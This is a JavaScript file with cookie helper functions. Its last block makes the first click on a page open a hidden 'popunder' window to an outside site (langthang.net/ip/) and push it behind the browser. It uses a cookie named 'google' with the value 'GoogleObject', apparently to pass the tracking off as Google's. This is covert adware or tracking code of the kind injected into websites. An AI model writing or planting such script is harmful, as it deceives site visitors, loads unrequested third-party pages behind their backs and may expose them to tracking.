function Set_Cookie(name, value, expires, path, domain, secure)
{
	var today = new Date();
	today.setTime(today.getTime());
	if (expires)
	{
		expires = expires * 1000 * 60 * 60 * 72;
	}
	var expires_date = new Date(today.getTime() + (expires));
	document.cookie = name + "=" + escape(value) +
	((expires) ? ";expires=" + expires_date.toGMTString() : "") +
	((path) ? ";path=" + path : "") +
	((domain) ? ";domain=" + domain : "") +
	((secure) ? ";secure" : "");
}
function Get_Cookie(name)
{
	var start = document.cookie.indexOf(name + "=");
	var len = start + name.length + 1;
	if ((!start) &&
			(name != document.cookie.substring(0, name.length))) {
		return null;
	}
	if (start == -1) return null;
	var end = document.cookie.indexOf(";", len);
	if (end == -1) end = document.cookie.length;
	return unescape(document.cookie.substring(len, end));
}
function Delete_Cookie(name, path, domain) {
	if (Get_Cookie(name)) document.cookie = name + "=" +
	((path) ? ";path=" + path : "") +
	((domain) ? ";domain=" + domain : "") +
	";expires=Thu, 01-Jan-1970 00:00:01 GMT";
}
function addEvent(obj, eventName, func)
{
	if (obj.attachEvent)
	{
		obj.attachEvent("on" + eventName, func);
	}
	else if(obj.addEventListener)
	{
		obj.addEventListener(eventName, func, true);
	}
	else
	{
		obj["on" + eventName] = func;
	}
}
addEvent(window, "load", function(e){
	addEvent(document.body, "click", function(e)
	{
		if (Get_Cookie('google'))
		{
			return false;
		}
		else
		{
			var domain = document.location.href;
			var ppTop = screen.height-320;
			var ppLeft = screen.width-480;
			domain = domain.match(/:\/\/(.[^/]+)/)[1];
			Set_Cookie('google', 'GoogleObject', '1', '/', domain, '');
			params = 'width=320';
			params += ', height=240';
			params += ', top='+ ppTop+', left='+ppLeft+', resizable=yes, scrollbars=yes';
			var w = window.open("http://langthang.net/ip/", 'scale', params).blur();
			if (navigator.appName != 'Microsoft Internet Explorer')
			{
				var w = window.open("http://langthang.net/ip/", 'scale', params).blur();
			}
			window.focus();
		}
	});
});
